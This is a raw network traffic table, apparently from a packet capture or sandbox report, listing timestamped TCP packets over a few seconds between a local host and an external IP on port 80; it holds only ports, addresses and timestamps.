Jul 4, 2024 22:20:25.684714079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.684717894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.684726000 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.684752941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.685004950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.685048103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.685069084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.685081005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.685091972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.685126066 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.689397097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.689441919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.689480066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.689491034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.689563990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.689574957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.689584970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.689595938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.689740896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.693443060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693495035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.693582058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693592072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693634987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.693653107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693661928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693671942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693707943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.693722010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.693783998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693794012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693803072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693826914 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.693840981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.693932056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.693977118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.706962109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.706998110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.707010031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.707040071 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.707060099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.707082987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.707093954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.707214117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.707223892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.707235098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.707246065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.707314968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:26.008642912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:26.013504028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:26.708686113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:26.708766937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:26.800283909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:26.805188894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:27.570343971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:27.570396900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:28.109592915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:28.114448071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:28.751499891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:28.751558065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.032505989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.040316105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214026928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214037895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214047909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214173079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.214334011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214344978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214354992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214366913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214390039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.214416981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.214637995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214652061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214660883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214721918 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.214721918 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.214764118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214813948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.214844942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214855909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.214884996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.214905024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.296622038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.296724081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.296734095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.296761036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.296761036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.296793938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.296803951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.296813011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.296837091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.296864986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.296953917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297000885 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.297049999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297060013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297096968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.297096968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.297205925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297215939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297259092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.297259092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.297561884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297619104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297629118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297643900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.297662973 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.297749996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297760963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.297804117 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.299108028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.299200058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.299210072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.299211025 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.299257040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.299257040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.299288034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.299298048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.299307108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.299315929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.299329042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.299345016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.299369097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.305391073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.305444002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.305455923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.305464983 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.305493116 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.305494070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.305603981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.305614948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.305645943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.305681944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.381721973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.381822109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.381855965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.381867886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.381910086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.381910086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382020950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382031918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382082939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382114887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382126093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382139921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382145882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382157087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382158995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382188082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382214069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382394075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382405043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382451057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382462978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382473946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382481098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382481098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382518053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382518053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382723093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382769108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382824898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382836103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382882118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.382961035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.382972002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.383037090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.383342028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.383394003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.383404016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.383414984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.383435965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.383471012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.383555889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.383568048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.383616924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.384110928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384155035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.384186029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384196043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384262085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.384272099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384354115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.384377003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384387970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384464979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.384476900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384493113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384526968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.384526968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.384567022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384577036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384588003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384618998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.384618998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.384721041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.384763002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.385230064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.385297060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.385308981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.385317087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.385359049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.385462999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.385473013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.385515928 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.387378931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387434959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.387444973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387454987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387476921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.387510061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.387599945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387610912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387646914 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.387696028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387768030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.387768984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387780905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387792110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387803078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.387818098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.387818098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.387839079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.387839079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.481604099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.481647015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.481656075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.481698036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.481698036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.481744051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.481755018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.481764078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.481787920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.481812954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.498354912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.498408079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.498416901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.498428106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.498452902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.498467922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.498600960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.498610973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.498704910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.502480984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.502530098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.502540112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.502547026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.502623081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.502685070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.502695084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.502738953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.505047083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.505065918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.505075932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.505115986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.505115986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.505187988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.505199909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.505208969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.505249023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.505249023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.505912066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506015062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506026030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506087065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506098986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506107092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506130934 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.506228924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.506656885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506669044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506679058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506731987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.506745100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506756067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506778002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.506778002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.506814957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.506856918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506866932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506903887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.506979942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.506990910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.507000923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.507026911 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.507055044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.507807970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.507882118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.507889986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.507894039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.507929087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.507944107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508035898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508045912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508055925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508069992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508080959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508083105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508105993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508135080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508255005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508272886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508302927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508302927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508383036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508394003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508404016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508435965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508435965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508523941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508567095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508594036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508636951 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508671999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508682966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508694887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508706093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508723021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508757114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508871078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508913994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508936882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508946896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508955956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508966923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.508985996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.508985996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.509016991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.509110928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.509180069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.509227037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.509238005 CEST	80	49704	85.28.47.30	192.168.2.5
